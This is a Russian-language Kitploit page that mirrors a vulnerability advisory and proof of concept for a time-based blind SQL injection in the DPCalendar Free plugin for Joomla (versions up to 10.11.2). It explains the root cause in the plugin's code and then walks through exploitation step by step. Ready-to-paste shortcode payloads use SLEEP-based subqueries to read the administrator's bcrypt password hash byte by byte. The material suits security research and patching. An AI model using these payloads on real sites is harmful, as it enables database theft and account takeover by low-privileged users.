Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/toanln-cov/cve-2026-78070
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеБезопасность Баз Данных
GitHubtoanln-cov/cve-2026-78070

CVE-2026-78070

SQL-инъекция через шорткод ORDER BY в plg_content_dpcalendar — DPCalendar Free ≤ 10.11.2

Репозиторий
321 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

SQL-инъекция через шорткод ORDER BY в plg_content_dpcalendar

DPCalendar Free ≤ 10.11.2 — Пользователь уровня Author извлекает всю базу данных через time-based blind-инъекцию

CVE CVSS CWE-89 Affected Fixed Researcher


КРАТКОЕ ОПИСАНИЕ

Контентный плагин plg_content_dpcalendar обрабатывает шорткоды {{#events order="..."}}{{/events}}, встраиваемые в тело статей Joomla. Значение параметра order передаётся напрямую в EventsModel::setState('list.ordering', ...), полностью обходя белый список самого метода populateState(). Затем это значение вставляется в SQL-предложение ORDER BY, защищённое только методом DatabaseDriver::escape() — чего недостаточно для блокировки инъекции через подзапрос.

Пользователь уровня Author, имеющий право создавать или редактировать статьи, может использовать эту уязвимость для извлечения данных из базы данных через time-based blind SQL-инъекцию. SQLi срабатывает внутри самого запроса на сохранение статьи атакующего — не требуется взаимодействия жертвы, публикации статьи или участия администратора.


ЗАТРАГИВАЕМЫЕ ВЕРСИИ

КОМПОНЕНТУЯЗВИМЫЕ ВЕРСИИПРОТЕСТИРОВАНО НАИСПРАВЛЕНО
DPCalendar Free1.0.0 – 10.11.2Joomla 6.1.2 + DPCalendar 10.11.2 (MariaDB 10.6.27)10.12.0

Примечание: Эта уязвимость отличается от CVE-2026-57831 (неаутентифицированная SQLi в EventsModel.php через filter_created_by, исправлена в v10.11.2). Данная находка затрагивает контентный плагин (plg_content_dpcalendar) — другой файл, другой параметр, и на момент обнаружения уязвимость не была исправлена в последнем релизе.


ДЕТАЛИ УЯЗВИМОСТИ

Тип: SQL-инъекция (CWE-89) — Time-Based Blind
Требуемая аутентификация: роль Author (может создавать/редактировать статьи Joomla)
Конечная точка: POST /index.php/submit-article?view=form&layout=edit
Файл: plg_content_dpcalendar/src/Extension/DPCalendar.php

Корневая причина

Парсер шорткодов плагина перебирает все пары ключ-значение в теге {{#events}} и устанавливает состояние модели напрямую, полностью обходя проверку белого списка в populateState():

PLG_CONTENT_DPCALENDAR/SRC/EXTENSION/DPCALENDAR.PHP — УЯЗВИМАЯ ОБРАБОТКА ПАРАМЕТРОВ

foreach ($params as $paramKey => $paramValue) {
    switch ($paramKey) {
        case 'order':
            // УЯЗВИМО: устанавливает состояние сортировки напрямую из пользовательского ввода
            // полностью обходит белый список populateState()
            $model->setState('list.ordering', $paramValue);
            break;
        case 'orderdir':
            $model->setState('list.direction', $paramValue);
            break;
        // ...
    }
}

Заражённое значение попадает в EventsModel::getListQuery() только с экранированием кавычек — этого недостаточно для блокировки инъекции через подзапрос в контексте ORDER BY:

COMPONENTS/COM_DPCALENDAR/SRC/MODEL/EVENTSMODEL.PHP:607 — ФОРМИРОВАНИЕ ORDER BY

$orderCol  = $this->state->get('list.ordering', 'a.start_date');
$orderDirn = $this->state->get('list.direction', 'ASC');

// $db->escape() экранирует только кавычки — НЕ предотвращает инъекцию через подзапрос
$query->order($db->escape($orderCol) . ' ' . $db->escape($orderDirn));

Подзапрос вида (SELECT IF(ASCII(SUBSTRING(...))=36,SLEEP(5),0)) проходит через $db->escape() без изменений, поскольку не содержит символов кавычек. Результирующий SQL выглядит так:

ORDER BY (SELECT IF(ASCII(SUBSTRING((SELECT password FROM jos_users ORDER BY id LIMIT 1),1,1))=36,SLEEP(5),0))-- 

Выражение ORDER BY вычисляется только когда результирующий набор не пуст — требуется хотя бы одно опубликованное будущее событие DPCalendar, что является стандартным условием для любой активной установки DPCalendar.

Ключевое поведение: SQLi срабатывает внутри самого POST-запроса на сохранение/редактирование — задержка по времени наблюдается непосредственно в HTTP-ответе (редирект 303). Атакующий измеряет время ответа на собственный POST-запрос; не требуется просмотр статьи, перезагрузка страницы или этап публикации.


ДОКАЗАТЕЛЬСТВО КОНЦЕПЦИИ

Предварительные условия:

  • Joomla 6.1.2 + DPCalendar Free 10.11.2 (MariaDB 10.6.27)
  • Учётная запись уровня Author (может создавать/редактировать статьи)
  • Плагин plg_content_dpcalendar включён (включён по умолчанию при установке DPCalendar)
  • Как минимум 1 опубликованное событие DPCalendar с будущей start_date
  • Пункт меню Submit Article на фронтенде, созданный администратором

Сценарий: Time-based Blind SQLi → Извлечение учётных данных администратора

0. Предварительное условие — должно существовать хотя бы одно опубликованное событие DPCalendar с будущей датой начала

Плагин устанавливает filter.state = 1 и list.start-date = NOW() перед формированием запроса. Подзапросы в ORDER BY выполняются только когда результирующий набор содержит строки; если совпадений 0, SLEEP() никогда не вызывается.

1. Вход под пользователем уровня Author

Выполните аутентификацию на фронтенде Joomla с использованием учётной записи Author. На любом этапе этой атаки доступ администратора не требуется.

2. Отправка статьи с payload'ом TRUE-условия — наблюдаем задержку в 5 секунд

Перейдите к форме отправки статьи на фронтенде (/submit-article). Вставьте следующий payload в тело статьи и нажмите Save:

{{#events order="(SELECT IF(1=1,SLEEP(5),0))-- " limit="1"}}{{/events}}

Сам POST-ответ задерживается примерно на 5 секунд. onContentPrepare срабатывает во время конвейера сохранения Joomla, вызывая уязвимый запрос до выдачи редиректа 303. Просмотр статьи или публикация не требуются.

3. Условие FALSE подтверждает чёткое различие во времени

Замените 1=1 на 1=2 (всегда ложь). SLEEP не срабатывает, и ответ возвращается немедленно (~100 мс), что подтверждает надёжное разделение по времени.

{{#events order="(SELECT IF(1=2,SLEEP(5),0))-- " limit="1"}}{{/events}}

4. Извлечение хэша пароля администратора — побайтово

Используйте сравнения ASCII(SUBSTRING(...)) для чтения каждого символа. Одинарные кавычки необходимо избегать (регулярное выражение шорткода [^"\']* останавливается на любом символе кавычки); вместо этого используйте десятичные значения ASCII:

{{#events order="(SELECT IF(ASCII(SUBSTRING((SELECT password FROM joomla.jos_users ORDER BY id LIMIT 1),1,1))=36,SLEEP(5),0))-- " limit="1"}}{{/events}}

Время ответа ~5 с → TRUE → char[1] = '$' (ASCII 36 — первый символ bcrypt-хэша $2y$10$...).

Скачать инструмент